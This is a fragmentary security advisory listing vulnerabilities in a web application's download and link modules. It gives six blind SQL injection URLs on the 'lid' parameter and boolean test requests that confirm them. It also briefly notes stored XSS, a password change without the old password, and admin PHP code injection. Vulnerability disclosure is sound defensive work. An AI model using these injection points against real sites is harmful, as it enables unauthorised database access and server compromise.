*******
1. Multiple Blind SQL Injection
Attacker can inject SQL code in modules:
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION
Example:
This query will return link to download file:
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1 HTTP/1.0
This query will return error:
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0 HTTP/1.0
--------------------------------------------------------------------------------------------
2. Stored XSS

--------------------------------------------------------------------------------------------
6. Password changing vulnerability
Previous password not required to set a new password.
--------------------------------------------------------------------------------------------
7. Administrator page PHP Injection
Administrator can inject PHP code and execute OS commands with webserver user privileges.
